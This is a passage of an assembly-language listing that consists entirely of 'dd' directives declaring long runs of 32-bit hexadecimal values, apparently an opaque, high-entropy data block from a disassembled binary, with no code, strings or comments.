		dd 9456EE20h, 75DA0FCAh, 0C3407A58h, 0C1DE6F7Bh, 470E5473h
		dd 20C802AFh, 9F051992h, 99FA001Bh, 71D18CACh, 0EE00F259h
		dd 2EF1C904h, 5A6269h, 1DECF629h, 35A8DFABh, 1EE27E00h
		dd 5423F3C8h, 184D00F9h, 2C32971Fh, 810747CCh, 6BEB49DCh
		dd 46D1D3B0h, 21721Ch, 4FC0A570h, 18396467h, 0E2658C1Ch
		dd 0E395DD40h, 0D2C8F6h, 70C2DC08h, 171301A2h, 149FF30Fh
		dd 8BA380D3h, 24282A57h, 1CF954AAh, 7C680A5h, 816CE6E7h
		dd 0D33D5A00h, 0DC06F3A0h, 0F2460015h, 50FF1D0Dh, 5E00FCACh
		dd 8F73D22Eh, 0CE4E7Eh,	0DB94757Dh, 0A323DA4Ch,	0BE009C7Ah
		dd 273EB5A1h, 26539Bh, 0F713D76Eh, 9607ADAh, 2FAA921Eh
		dd 81D8AF40h, 88F986h, 4872A88Ch, 0E045D45Ah, 0CCA03379h
		dd 0AA2EC3A3h, 0E388AEBh, 3F1F07A5h, 0C0CFAE0Eh, 59831165h
		dd 44CC0030h, 0B3532FE0h, 9C00D2C9h, 1B1A5BFDh,	1E6D6Eh
		dd 6C549EEEh, 0E319029Bh, 72922000h, 0E40B3596h, 90E200FCh
		dd 7493917Fh, 0AC009B06h, 8EFE85Dh, 7A619A96h, 787F011Eh
		dd 80092F3Ch, 0F8D84075h, 0C0E0703h, 20174185h,	745B324Bh
		dd 0A6950348h, 5AD23CCCh, 15FD1000h, 0A917B599h, 617F58h
		dd 51E4645Ch, 70A2F876h, 0E4A7ACA1h, 0B9059907h, 62642DD8h
		dd 0E0F080BBh, 0DA30D0CDh
		dd 3830887Ch, 0E8F0009h, 58BEAB33h, 280EA981h, 0C0723DEEh
		dd 0A869C9ECh, 44210005h, 0F9594001h, 6B3B4B2Dh, 4D96806Dh
		dd 2B1E6538h, 20560B64h, 4380295Bh, 0A8F33F06h,	9CE2FF00h
		dd 0BE8BED7Dh, 9BD22408h, 39D80058h, 0CA068AA5h, 3D0073E6h
		dd 9C74FE14h, 33EB922h,	5D0B1983h, 30075363h, 625CA065h
		dd 9B12EF20h, 1B490F42h, 1F009CA2h, 46D0388Eh, 62A45500h
		dd 252B24CBh, 35890AA5h, 8821E7h, 6605E443h, 540E8EF4h
		dd 4EB9A344h, 0EF2967F0h, 0C6E085B0h, 0A110027h, 0C8ACA195h
		dd 0FDF65944h, 0EF15A200h, 41F818ECh, 3D370093h, 854C085Bh
		dd 0FB005AE8h, 24A9EF69h, 3B59ACh, 311F8055h, 0D4415F8Ch
		dd 0F96F1C07h, 8D6099DFh, 54FE94B4h, 0BED4E4h, 9110FF75h
		dd 211804D6h, 0AFA59F0Fh, 0BBB40087h, 0F6CF8139h, 9C321FDAh
		dd 14128042h, 3EC4FA73h, 2A097A74h, 8A9A9E8Bh, 8289F890h
		dd 9C6C2CAAh, 0CDB530F8h, 9D3FE2C1h, 55F6F400h,	57576D1h
		dd 924A00A4h, 80937D98h, 0E5007E0Ah, 3E9C5A32h,	728F3689h
		dd 0D91C1C1Dh, 933DC005h, 0F1EB763Ah, 5C39FA00h, 0F88ECE14h
		dd 72820FA7h, 0BA0061A8h, 0D45BF21Eh, 0E60F3103h, 0C8BC8D48h
		dd 1627B4Eh, 5EACE557h,	4798F77Eh, 0C1C18784h, 0E8358460h
		dd 0ECFA68FBh, 0C550FA07h, 0A1E4780Fh, 63580480h, 550B07D6h
		dd 61F76DDCh, 70087CECh, 4D00809Ch, 0A25DE8Eh, 98DCB787h
		dd 406D7CECh, 7700981Dh, 0CD2BCB6Ah, 702692h, 0ADC6D6A6h
		dd 1D534884h, 8C9CE100h, 79F7327Dh, 12BF003Bh, 6143E76h
		dd 210773DAh, 0CE4DE54Ah, 4655FF0h, 60729Eh, 0E7F624D2h
		dd 0C5790A0h, 2642FE00h, 0D9581C9Ch, 75113008h,	0B5C722D4h
		dd 96814B00h, 1EDF447Fh, 0A093002Fh, 0F137FE28h, 88A0C160h
		dd 0CB1D9BAFh, 399FB279h, 81A004CFh, 9A701EB7h,	68D430h
		dd 0CF37338Ah, 7FDB4112h, 483F6D2Ch, 0A3C75E80h, 2752446h
		dd 0CFD33F5h, 8C60AAFFh, 7A00400Eh, 228017E0h, 0B81FAF6Fh
		dd 1DB70367h, 2F213D8Ch, 66CDF380h, 8485E900h, 52FF7F75h
		dd 4FAC009Ch, 0D72EC9E2h, 50C74149h, 152182A4h,	19F8BDA5h
		dd 0AE1073Dh, 9213B0h, 7E65C6E8h, 74033075h, 0F1327BCAh
		dd 0D5E79859h, 61280AB6h, 0DDFDD0h, 0B800749h, 0A23FDE33h
		dd 0D92C80D2h, 7047E64Bh, 0D113007Eh, 0B4391C44h, 0C301F3A3h
		dd 1281623h, 4FE05B50h,	0FE84921Fh, 0E1F40030h,	542A2F15h
		dd 3700DCC4h, 644E2144h, 79DD70h, 6351A0B3h, 30E34C09h
		dd 3500E8F2h, 0FFA14436h, 28BF565h, 0C8E75741h,	13232FDAh
		dd 0B475E9EFh, 80C084FBh, 31DB6Eh, 6FD5D493h, 75ABEFA5h
		dd 4F3FAE00h, 9C6873F0h, 1B77C59h, 36B4E40Dh, 7098D25Ch
		dd 39012BE4h, 4DEDA3A7h, 28D4C0AFh, 7AD01FCh, 0A5C6C148h
		dd 6BEAC93Ah, 0C0C0FAC2h, 1C9ACh, 50DA3E9h, 32F57313h
		dd 20024D71h, 0DEE30796h, 4A574088h, 0F67000DDh, 98E6D9D4h
		dd 4748719Bh, 0C53E00B5h, 0C2232BE9h, 0C6500218h, 61D0620Bh
		dd 0F73DAE60h, 482D453Fh, 0BF630744h, 0ADE7FE0Fh, 7CC844B0h
		dd 5D937D6Ah, 42C604Ch,	36D00D4h, 0C326FE96h, 10CCD8E5h
		dd 7B223900h, 0A8E0025Fh, 0C9B00432h, 80B55B3Bh, 0B6244A1Ch
		dd 7504B98h, 1800B2A4h,	0D0C1E3A2h, 2483E6B9h, 0CC38902Ch
		dd 0C104B429h, 56CEFA8Ah, 663988C0h, 0CFC51430h, 5C168F37h
		dd 5F100089h, 0F56E203Eh, 75539500h, 1EE858BCh,	4734007Dh
		dd 6D2C4554h, 43005FCAh, 729D2068h, 581261ACh, 3D00B4BBh
		dd 0E1D7E0DBh, 0F8B8DA78h, 4C6DF00h, 0BA3B50D6h, 1F1B3B8Eh
		dd 1556F1A5h, 34007013h, 4B342C40h, 772304FFh, 0D78AA1F8h
		dd 0AA7150F4h, 0FE0FEBF2h, 0F62BF07Bh, 3D687F00h, 0FC1DCCC4h
		dd 0DB4B1E2Ch, 0C20FC03Ah, 0FCB98A4Dh, 28095C00h, 0A6B222Dh
		dd 4F6A0063h, 6EF10278h, 0E317C551h, 9B000D7Eh,	0BD737C6Ch
		dd 15EF3EE6h, 0F90E575Ch, 90207EDBh, 68E74B6Fh,	8374A800h
		dd 34638AB8h, 41D4FFACh, 0F9FA00E8h, 0C61CDF42h, 0B8985553h
		dd 7F02C701h, 985A56D1h, 2ED96CCDh, 1D2B0470h, 794CBBh
		dd 6A164D84h, 5EFAF3FBh, 3A8AEC17h, 86AF3000h, 0F0E84Bh
		dd 0C4046E81h, 23D1E602h, 0EED5DD1Eh, 0E33B04FFh, 0A9804616h
		dd 50297F0Fh, 314F44Eh,	86FFEFDAh, 0E80039BCh, 60A0736Fh
		dd 3F0E31h, 641A9ECBh, 0F0D957Ch, 528A20Fh, 9D39A0FCh
		dd 0E55F434h, 0A5A40CFAh, 5BCB51A0h, 4B0FCFEh, 5D2D9C00h
		dd 41E2CE25h, 3AEF008Eh, 95868033h, 7DF0F328h, 0D43A21Dh
		dd 678809h, 6532BF28h, 0F4C6506Bh, 34B1595Dh, 8051051Eh
		dd 741037D0h, 5439FF71h, 0F6E7801Eh, 754F071Dh,	0D7723Ah
		dd 0AC8E46BAh, 214925B2h, 5A1E9207h, 0F6918656h, 17C0C81Ah
		dd 63FA00FFh, 64C3E301h, 0AF000A67h, 39E0302Dh,	0B74757h
		dd 0D14FBE4Bh, 9E705EEEh, 3F5CCF03h, 0F07CCEAEh, 0F4D9B302h
		dd 177A0061h, 0AB6218C0h, 0C61C308Fh, 3C84BEBBh, 7FE8142h
		dd 605496DEh, 905CEFC3h, 768AE60Bh, 18BC20C2h, 924D4809h
		dd 413300BCh, 3AE9310Ah, 0CE704654h, 0D200C090h, 2A8A49EFh
		dd 0F90BD0AAh, 37693784h, 0DF78A0FAh, 0F1052CACh, 0EBDE5A4h
		dd 0BE19EC90h, 36E3AC4h, 36163400h, 14DFCA10h, 0A069D124h
		dd 5179A00h, 0FCA83D18h, 521E166Ch, 0DE7500C8h,	9A07B07Dh
		dd 440050E8h, 1C3D0C8Ah, 608F496Eh, 4F160FFh, 1603CAE7h
		dd 4D734EF9h, 721800C0h, 0A53D217h, 0B40015F3h,	43C3BFD1h
		dd 5DAB04h, 0A4C67439h,	96BAB524h, 0EFEAF41Dh, 0F5766F80h
		dd 18BFAF41h, 0D8F37D4Fh, 62AB32Fh, 0E43E98D9h,	88212A91h
		dd 33107F0Ch, 712CD6h, 23ECDFD3h, 59ACD4C8h, 82700201h
		dd 0D5B00E7Fh, 73FC1835h, 0CBBA00EDh, 0FDB890F9h, 76306478h
		dd 6255616Ah, 778E7CE2h, 8DFE1C71h, 5747BCEh, 5CF1082Dh
		dd 0B89C406Ch, 155D6264h, 9D942839h, 0D9839812h, 0C89C8AB4h
		dd 0FF133375h, 1C06864h, 0FCFADFDh, 50D47B90h, 6E2B2CD0h
		dd 56FAD071h, 651F8300h, 0AF8EAB53h, 82493C85h,	8FEC3880h
		dd 9EB07BD5h, 9BED360Bh, 0C13480E3h, 92136424h,	28C90000h
		dd 0CEC81642h, 4EC634EEh, 0D90523h, 3FFDCD21h, 97DE203Bh
		dd 0BEF78F00h, 0C359AAE2h, 0B1DD1813h, 9B124893h, 237D4804h
		dd 348021EEh, 2010B553h, 0F600B304h, 0A0C034EBh, 1DAB07DDh
		dd 0C04239A2h, 5AED9411h, 1239CC3Bh, 62630085h,	9E0E0BE7h
		dd 59180013h, 4546D0ABh, 0C900FD58h, 0DDB20A39h, 0CA6294h
		dd 7B65DA41h, 4FE8BD99h, 0E9C2A80Eh, 3CA4A05Bh,	72B931D8h
		dd 7ACA0035h, 0A0387E94h, 3B00ECD6h, 7CB8370h, 0E05B87F7h
		dd 84B4079Dh, 0F248731Fh, 0D5403C0Fh, 0B000A5Ch, 0E816EF9Bh
		dd 14972A8Dh, 0E5E2DB75h, 12922007h, 0D986A2F6h, 342EF083h
		dd 1C4899BAh, 0EB097264h, 206295EAh, 116AB84Ch,	796B0278h
		dd 8CDA8F1Eh, 1F1803C0h, 4C13F098h, 0F401234Bh,	8AB56BE0h
		dd 4524D640h, 769E00B9h, 0E30B55CFh, 59723056h,	93F27312h
		dd 25B7F601h, 61ED433Bh, 4EB2989Dh, 11F8AAC4h, 7F002E5Ah
		dd 8EE84CE7h, 9AB01D83h, 0A109C540h, 47A5804Bh,	0A874A74Fh
		dd 0B89F9A0Bh, 578800F6h, 3B1F019h, 0F9C2141Ah,	30B008C3h
		dd 39092C63h, 8037FCE7h, 4F34AEB4h, 455C0066h, 7DCD15F9h
		dd 1E126821h, 68C08303h, 0E46922A7h, 405A0007h,	4DE72D58h
		dd 0F00B48Bh, 0EF1DA36Ch
		dd 18CB208Dh, 585202B5h, 0B300CA58h, 6DCF30E5h,	2AE2DC6Ah
		dd 0B4562Dh, 49EE72CDh,	0C97B9126h, 85139492h, 0E0409343h
		dd 8B9E35F8h, 763B0708h, 0B0F6EAD2h, 0D97B8C33h, 0F07D9124h
		dd 7F90A100h, 7BD67993h, 1050027h, 0F282116h, 27B095B2h
		dd 550BDF09h, 83E8207Dh, 0E1D406C6h, 4FC00836h,	0E5FAEBE0h
		dd 5C2B3906h, 4DB8B349h, 0DC446Dh, 68033598h, 0B2408E5h
		dd 0BB3AA47Eh, 0FA181080h, 4C16CB04h, 3008D910h, 640056B4h
		dd 24A9F0B3h, 0B058BEh,	0CFAAD12Ah, 5DF899CEh, 0B60002EEh
		dd 74FC53BDh, 0C77BD6CCh, 104A1F41h, 0A011B730h, 26C19875h
		dd 680E42C9h, 684E0D0h,	0BAF2C025h, 454CC828h, 0E109003Ch
		dd 0B11BB291h, 0CFAC0067h, 0BD24F36Fh, 1F001942h, 87CA7F43h
		dd 81365Eh, 5FAF541Dh, 0E7D39A1Ah, 0C6074F09h, 0C383007Bh
		dd 3A9A7h, 5D982C41h, 0F35724F2h, 0D203A890h, 0BA68FA52h
		dd 0C37BE819h, 7C5C484Dh, 542D0F09h, 7E240444h,	1200A472h
		dd 0FE8F61A5h, 0E8F74891h, 6B59BC00h, 0C2823A51h, 0D8B34C01h
		dd 0E9BD3F06h, 24AE6830h, 34FFB9h, 1C843BBBh, 2007A7A0h
		dd 86C4251Ah, 0C97D9CE0h, 5DFE12CFh, 0C0A81E38h, 96F55712h
		dd 1C0410D0h, 0CE1650Dh, 644D18C0h, 7B63021Dh, 6C82586Fh
		dd 3F854E0h, 325C9898h,	0A62050ADh, 0FF802CB6h,	0E6763E56h
		dd 0FB7D3Bh, 0CA27A993h, 64CC6B62h, 0EE00E179h,	4428AAECh
		dd 792F6EBDh, 1E313B06h, 1799007Fh, 8173A8D6h, 10B8BFCh
		dd 5D723A0Bh, 87682883h, 6F0C02A0h, 7A00457Fh, 133FB61Ah
		dd 24B8A36Eh, 46EDBAh, 44F9B783h, 9D00BE26h, 7D27414Fh
		dd 90E3E8h, 798A7CEh, 0B90A6F6Ah, 563BF600h, 0C04867D5h
		dd 27C101D0h, 0EC54F2FAh, 0A644C029h, 0E200E7B8h, 0D9F423C9h
		dd 963C04h, 2688158Dh, 3F5EC5FDh, 9F622A00h, 7B3582E5h
		dd 9447002Fh, 66EBAA16h, 0B900DCC7h, 84C5D84h, 57ECC71h
		dd 1458B554h, 47CE1DA4h, 101E5E5Ah, 39359C9h, 0E2B22700h
		dd 0F478DE33h, 1DBD0021h, 75B4FEAEh, 0E00CA8AAh, 0BAD5B266h
		dd 5DC3DE2h, 2E00493Dh,	5525F886h, 213F507Fh, 88BC946Eh
		dd 0B30103B8h, 0AFC7FFh, 2BFD6890h, 94AAEEF8h, 37D71703h
		dd 98DDB347h, 95B786h, 0D0AF2D5Dh, 94282F6h, 6F1CCB07h
		dd 89508841h, 796F23Eh,	0F835167Eh, 0F1278095h,	8000D699h
		dd 0BACC93E0h, 0A69BA5h, 89C0D74Dh, 0EA16044h, 0CCD4D855h
		dd 0CA004BB6h, 0DF67A3F6h, 433F70h, 2F07D4E9h, 9F7FE340h
		dd 570F2EB8h, 829705BBh, 0E0A7152Bh, 3B8065A4h,	1107E4A2h
		dd 0B0944086h, 0F8985803h, 0CA15D400h, 7BBB6145h, 8B700F92h
		dd 432E66B7h, 1728B667h, 0DF18E083h, 0D001E53h,	7C376E73h
		dd 0EC25BFDCh, 3CE4005Eh, 0BD10F4DAh, 1D0F019Fh, 801868F3h
		dd 12DE86CBh, 7A5B015Dh, 3D108E0Ch, 3760206Dh, 0F808B501h
		dd 9BDAEEDFh, 0ED02F8h,	62D69C5Bh, 319A941Fh, 1E0281E8h
		dd 1293FB08h, 0D54440BEh, 29AA00E0h, 0E4693EB4h, 0E009885h
		dd 39AFA8B7h, 79770CAh,	313A62ECh, 0E2CCC010h, 0F2077F36h
		dd 0EDFD2B80h, 0EA0D630Eh, 3C35C097h, 0E2210012h, 1E50694Ch
		dd 48FE9513h, 0DF019100h, 992636DDh, 0F6030568h, 4DFDABh
		dd 0B28047F8h, 5E00E21Dh, 68290B20h, 1CB8796Fh,	406C3FB3h
		dd 0BCDC17CFh, 0C400B66Bh, 9436E7C2h, 4C830CE8h, 0D2003E2Fh
		dd 24684530h, 191F8DE5h, 3800B4EEh, 91DAEABDh, 9948003Ch
		dd 18BC66B1h, 648EC27h,	0F5D700F4h, 77B66A4Eh, 0DCB0D6h
		dd 1597E840h, 0CB269492h, 250043F2h, 6DED801Ah,	507EE5BBh
		dd 4C84D0B8h, 0E600C1D9h, 917125D7h, 0CF003445h, 461D6B8Bh
		dd 26816C7Fh, 0ADAF0Ah,	447BDC53h, 15002034h, 0B5F6D3E3h
		dd 3F187h, 3EAFB32Dh, 6661C33Fh, 33128800h, 0BE0DB42Ch
		dd 5AE21F1Fh, 0A33D80C9h, 7D0FF3EDh, 2C45AC03h,	0B09BF9B3h
		dd 2A6E7EEh, 5F7A277Eh,	0A3401ED6h, 0D0982E28h,	9D46D13Dh
		dd 5E80AD38h, 0BEA0BDE0h, 0FCC75047h, 5A5528A3h, 0F59400C4h
		dd 0DBD0C173h, 13009085h, 4C4E4AE1h, 0B895F98h,	0B1E6A230h
		dd 6EAACE00h, 0BF75F92Dh, 46396900h, 91E51D2h, 0D08E0083h
		dd 4A29CC1Bh, 161862A5h, 5D60281Ah, 896A01ACh, 0D1A371F6h
		dd 0ED088604h, 0F02096F8h, 0B310C229h, 91024692h, 9E057A2h
		dd 4101D020h, 0B54CC82Ah, 0A9E85FA5h, 189B73A7h, 6042E9DDh
		dd 0B700EF2Dh, 0D472CBCh, 30B64979h, 4D2985CCh,	162A60A5h
		dd 2E1481Ch, 80020621h,	0C04DC02h, 0AF794CC0h, 30EC2A8Ch
		dd 0A231CE00h, 0F968B0h, 0B6461778h, 2EDB4E69h,	4135FE00h
		dd 1FD3960Eh, 0C0C600C9h, 0BC38975Ch, 0A4030A1Dh, 0B68B3D20h
		dd 959CC884h, 0B9450DE3h, 0D01843A0h, 3F0702A9h, 64462A18h
		dd 0ACBF561h, 208422D5h, 0D043844Dh, 37674694h,	81A8A900h
		dd 0ED722A17h, 4E143B2Eh, 0CB1E6E86h, 0C40D48A4h, 40561A0Ah
		dd 0C0C89BF3h, 0F02B76E3h, 0A31210DAh, 83470590h, 8C4058F9h
		dd 779EB4A4h, 6D5C15CBh, 12198478h, 0E385212Ch,	0BAC4890Ch
		dd 3A751FFh, 41946BFh, 0D0763C90h, 0DCDEE428h, 0C8D8427Bh
		dd 4C76341h, 0C323BA33h, 1404D08Eh, 360143AFh, 46538009h
		dd 988037F3h, 7883F801h, 0BD687721h, 0B5006060h, 0A5F96753h
		dd 40E603CAh, 8DA0D8CFh, 0AD8708F0h, 4733D504h,	3B81930Fh
		dd 90E9C05Ch, 19BEAE4h,	0C39A404Ah, 0E08D02A4h,	0A200CF96h
		dd 218CAC9Fh, 7AFD951h,	84DD3FF8h, 645D6018h, 0A50A27B0h
		dd 92A42180h, 0FA79F803h, 444799C5h, 407C109Eh,	15C1DE1Bh
		dd 38D8A2C4h, 814B6320h, 31AC548h, 0A1C2CDh, 3664897Dh
		dd 0ECBEE80h, 0B9CC0570h, 474F9920h, 533D5597h,	4864833Eh
		dd 0ADBE38Eh, 3D6FE49h,	0A4BC07C7h, 80C5607h, 20491130h
		dd 3E03DF38h, 6300CD77h, 0EA1E7688h, 0E300A04Ah, 13697D48h
		dd 0BF8A5A9h, 0CAEE08C1h, 944800F7h, 265EE9h, 54D272B1h
		dd 0A9F27063h, 0D5299F00h, 9911C84Ah, 1F6600E8h, 17BD9423h
		dd 8A030D98h, 63D45C70h, 819DE0F0h, 72AF00DCh, 310FA808h
		dd 0E500C518h, 9934D924h, 0B2A30Ch, 0C3F68DACh,	371E2D2h
		dd 8ADA6B00h, 48810985h, 9798009Fh, 0E71B4627h,	66ECCFAFh
		dd 0C78F0600h, 62C1E4B7h, 0BE570039h, 32DC6C7Ch, 9500813Eh
		dd 3CF098D5h, 0E03525h,	588C8D30h, 1C4248AFh, 3E594C00h
		dd 0AEC46F12h, 0F6AD73B0h, 0C837D6Ah, 21DC9092h, 1B003E39h
		dd 0F5438BD2h, 326F039h, 23BFA19Ah, 0CBF0447Fh,	0E001FFD5h
		dd 0FC6CB5FDh, 8080B106h, 8E2B7C3h, 7400717Fh, 0CFA04DF5h
		dd 61911993h, 641B88E1h, 202BF96Eh, 8328CB71h, 840CDC87h
		dd 0F11D1476h, 8AE01C5h, 0CC1CA969h, 38BEA6h, 27518D5Ch
		dd 368077Dh, 71850AB3h,	401C1E9Bh, 9E81D808h, 0B7F5057Ch
		dd 0AB82887h, 0B66190BFh, 79017523h, 8BF75337h,	5FF09407h
		dd 0B7541E3Ch, 4D837BD9h, 5EBF0B35h, 0A6003886h, 5DAB3A45h
		dd 6DC1F2h, 5D72A94h, 92828404h, 0AF404D19h, 0C5D5F128h
		dd 78E45EC1h, 0F3D20C97h, 9D80A547h, 0BD537D00h, 46CDE851h
		dd 3AA10071h, 980149F1h, 733CC2A5h, 9EA43C35h, 0E03C843Fh
		dd 42446820h, 0FCB400AFh, 99248909h, 401CFBDh, 3C0526ACh
		dd 0A986B55Dh, 71417701h, 0E22E760Dh, 22E018A4h, 8904098Ch
		dd 817D539Eh, 0F8DF1059h, 0C0C424E8h, 5B63BE30h, 0AC488B18h
		dd 0A1BF01C3h, 8E1F0539h
		dd 77B60670h, 9381037Ah, 8CCCDAC4h, 53500E80h, 0ECCAB100h
		dd 0A470974Ah, 2687008Ah, 0D3764532h, 920636B7h, 34B6D024h
		dd 0EF048F48h, 1052C3C6h, 0AAAE0E00h, 0DAB82C1Fh, 6587E29h
		dd 7FDD4A9Eh, 0C67E28B0h, 30013408h, 82CE904Bh,	273A75Ch
		dd 8722C577h, 21322449h, 0DB11A641h, 440B00C9h,	527102C0h
		dd 619E770Eh, 7DECBFE0h, 0E050170Eh, 0B08360CCh, 37F4A6h
		dd 84C4EED5h, 936BDCD8h, 59CAD100h, 0F683F760h,	58150014h
		dd 5313C491h, 3D0C5AAAh, 0F0C9F810h, 5EA90FB7h,	98610102h
		dd 0F4E8CB51h, 700045D0h, 0F2BDA7EFh, 0BE1365h,	9016F531h
		dd 98305E03h, 433DD500h, 15A61FD1h, 0DC1700DFh,	1ACF057h
		dd 0A507517Dh, 8A105F52h, 25BB7380h, 0A775000Ah, 84F9778Bh
		dd 0E7007ABDh, 66286CDBh, 5F1573h, 0C635F053h, 40B9E01Ah
		dd 18C0866Ch, 0AA4B059Ch, 0C063DD3Eh, 19D6935Dh, 780F3C00h
		dd 0A65E5C32h, 1CE0A029h, 75C47D25h, 332E0686h,	7CD432BDh
		dd 51687901h, 358D4AF5h, 0F82C87E8h, 6FC300C8h,	159FB88Eh
		dd 7F00F08Fh, 0C6BEC561h, 24D16Dh, 0A234E779h, 0F3DF07FAh
		dd 0ED26EF00h, 0D0CA5E86h, 0C620018h, 15F9CF27h, 0F70E0FD8h
		dd 0A0C054EEh, 1145262Dh, 0E05B0047h, 0C92994D3h, 0ED0ED6A2h
		dd 6C6B22h, 20EF4E64h, 4743001Bh, 35BF9315h, 9900BBB8h
		dd 0E94545Eh, 0E45A85h,	7C1D3EFFh, 72631FC0h, 18E1353Dh
		dd 46F827CDh, 0AF9C00FCh, 0A98B2A53h, 31023921h, 0EAC934D4h
		dd 0DAACC0C0h, 0E8CC0070h, 68A8D8D1h, 3D00ACDDh, 0EF3EFEF5h
		dd 0C946C3h, 9F35151Eh,	0AF74E816h, 4F03657Fh, 124C8DABh
		dd 243B800Fh, 8F700540h, 0C0087593h, 9E53E2B1h,	8689E001h
		dd 5CF5CD29h, 572FD4h, 0AC01E518h, 0DB27F89Ch, 6FE37400h
		dd 8848D738h, 7B07DD3h,	61937587h, 0F798B053h, 0AE00F6A2h
		dd 890E1957h, 63465Fh, 5B99AD6Ch, 40B4DD6h, 0EA007771h
		dd 812856D1h, 787BA5C4h, 0F08E00ACh, 0ED935DB5h, 2E124047h
		dd 0E0377D0h, 0B8BD311Eh, 2224DFh, 0AAE2515Ah, 5CA2091h
		dd 1C035973h, 0B36C6588h, 73DEA07Ah, 0FD640023h, 320F512Fh
		dd 0FC0013D3h, 0A8B60289h, 7D25560h, 8E2A61F6h,	5E104CB0h
		dd 47C17900h, 0A3DFEE98h, 81290124h, 6F75089Ah,	0D82C30B7h
		dd 22F630E4h, 2EE7BE00h, 0FC145871h, 40C7078Dh,	30E099F0h
		dd 0C47D96C0h, 0B4514500h, 1B0DA8D4h, 7A4100A3h, 3448B0D0h
		dd 0C60925A7h, 0C2A168h, 0CD4A9AF0h, 0A0D100D8h, 0E1707803h
		dd 1100107Fh, 3167CA4Eh, 26CBF4Ah, 5F135853h, 70406BDFh
		dd 0EE003369h, 55E070B6h, 7643109h, 90247F28h, 0C2A050FFh
		dd 530027D2h, 83A20518h, 78AB3Eh, 0B679D55Bh, 349E6E7Dh
		dd 0FC206400h, 3EF25E0Ah, 1DFAEBh, 24B3EF55h, 276F37B7h
		dd 7E6E9C00h, 44B54226h, 0A10E0030h, 0C473131Ch, 0AA00D7B4h
		dd 4ED0540Bh, 0E65CD4h,	0B2A57B31h, 0E7C3DB6h, 81001EF6h
		dd 5FC9F9F6h, 259464Dh,	62AEF467h, 794085FAh, 0A87749E0h
		dd 0E7583200h, 9ABC0EADh, 0C0C6502Ch, 0F18D0198h, 0A7FEE3C1h
		dd 0CF032E47h, 80034E3Ch, 7205A2Fh, 24D601B0h, 8D5E1004h
		dd 4C1C6814h, 0BA00E3DBh, 7407F090h, 86650A66h,	0ACC0E82Bh
		dd 0BB0D05AFh, 63D7E0D2h, 23747B00h, 0CD967E7Dh, 70F207F9h
		dd 0A04FDE8Ah, 0C5BEC2FCh, 6238AE98h, 8171F994h, 5967BD00h
		dd 410AD375h, 6DD40990h, 0F40B2AA8h, 470A0Ah, 0B88ACDE0h
		dd 8F01DD7Ah, 0E3A9FC67h, 2170DA11h, 1CC9A64h, 0F2B1DEC9h
		dd 801E9526h, 0EB3FBD50h, 1E601328h, 46051A53h,	10125040h
		dd 246DE200h, 3F21A05Bh, 0E05A0094h, 51DF83DBh,	993A69BCh
		dd 0CDA40173h, 419C854Ah, 70C5320h, 911E2BDFh, 0D61BB064h
		dd 0F0708D1h, 0D2105011h, 0D3134B63h, 389CB001h, 0E36258B9h
		dd 98C6C900h, 0C058830Ch, 0C5E81B76h, 4A23E409h, 1AE8A0F9h
		dd 3937304Fh, 110185EEh, 812D5F5h, 557D2068h, 36CD5C00h
		dd 2DEDB005h, 2BE40097h, 2011513Eh, 0A8928F83h,	0C2F27A00h
		dd 94A2B201h, 106C987Fh, 0A0E4CF6Ah, 3C701Fh, 4B0C05D6h
		dd 490904EBh, 0F4E46303h, 0E2E65484h, 7EFD81D9h, 0B2206FABh
		dd 0FE03002Dh, 337A3219h, 13004818h, 3F9444ECh,	3DCBC99Eh
		dd 2C00EBA8h, 7A3D579Ch, 960063E5h, 0C5D0F2CAh,	68A226h
		dd 7EEF021Ch, 6CFAB298h, 91C3A901h, 2E05EAB8h, 95CAE4h
		dd 2AF80EEEh, 4FC4EDE2h, 9C1FC600h, 388B772Ch, 0E60779D8h
		dd 0B6CA1DF8h, 0AFE7C265h, 42602E95h, 59005BABh, 5CB9232h
		dd 1C3257Eh, 0EA8A6135h, 0C8FC37E6h, 0A9009AA7h, 7893531Fh
		dd 0EABD2A0Fh, 0F62D00F2h, 96D5D8BCh, 81C09F8h,	6A8130AFh
		dd 13813BEAh, 984960h, 66F5C275h, 62744E92h, 8A9C1250h
		dd 2BD4CA00h, 11522FFAh, 5619007Dh, 971AA5D2h, 0EEE6461Dh
		dd 91ACF400h, 2B83E493h, 0ABCF00BAh, 72B2ECA6h,	9A0048C8h
		dd 0AC78DE09h, 0E439F163h, 27C007BAh, 33B0370h,	508E5B05h
		dd 42E28800h, 3A0233DBh, 86591E37h, 47578080h, 117B4B9Fh
		dd 5F00BAE8h, 45C3CC98h, 3B708B1Eh, 0DB932080h,	0F1740026h
		dd 84233CA1h, 44E9D21Dh, 3A379841h, 0FDC850Dh, 0DC530021h
		dd 0A2E2746Eh, 9C00BF60h, 8E9DD999h, 49C4A5h, 9FCC5DE4h
		dd 0EB0774C9h, 0B2F9361Fh, 0A7D9E503h, 911638EAh, 12FEE672h
		dd 0E668B31h, 96609204h, 8E52CA7Fh, 0F34BF812h,	3CC80FAEh
		dd 0D31580FFh, 0FDCBA6F6h, 60005C94h, 57027582h, 0BDAC14B4h
		dd 77098CB9h, 0E283D7D2h, 40E8DF9Eh, 2209F0B2h,	72A0AFh
		dd 66BE37D2h, 0AE7C0002h, 0DCB22D96h, 0E0011B67h, 0F60662A6h
		dd 63D86893h, 18473E17h, 9E070E00h, 46337909h, 48E92D00h
		dd 154EB9C9h, 4AB61E69h, 0F42682C6h, 2CA70728h,	0BF608FF0h
		dd 6DFEEF3Fh, 1FA02F05h, 70D0F624h, 28DCA8h, 3E2D782Ah
		dd 834E39A7h, 5B9EDD00h, 4CF388EBh, 0EEC80087h,	45F0D384h
		dd 3800C524h, 9672F6FAh, 55D44Fh, 0CEBBAC57h, 17422197h
		dd 8291DF17h, 0E3BF2700h, 0C0A94CC4h, 0DCB6CB88h, 8C794943h
		dd 0EC3F0E70h, 7E5283BFh, 98AD926Dh, 0C76847h, 0B2AC23AAh
		dd 0EF0A7DEh, 48001272h, 84630D36h, 0FBF0Bh, 18D2E19Fh
		dd 683716A1h, 34601D60h, 96B2BE79h, 6F31002Ch, 473FAF3Dh
		dd 0B5464203h, 0C0952248h, 0A01179ADh, 1453514h, 4762D225h
		dd 0D042D8BAh, 0B76F170Eh, 48B20020h, 48679EF3h, 850010D0h
		dd 92574AAAh, 473C9B18h, 0AC601F8Fh, 0BE339002h, 178E337h
		dd 526BA191h, 415722AAh, 34FD8E38h, 2E30C3F7h, 8BA378EEh
		dd 153507B2h, 0A0A88E57h, 41F7C9CCh, 6737A114h,	70810070h
		dd 5026522Ah, 0EE9F1FF2h, 351F3B31h, 0D39C4720h, 7866A005h
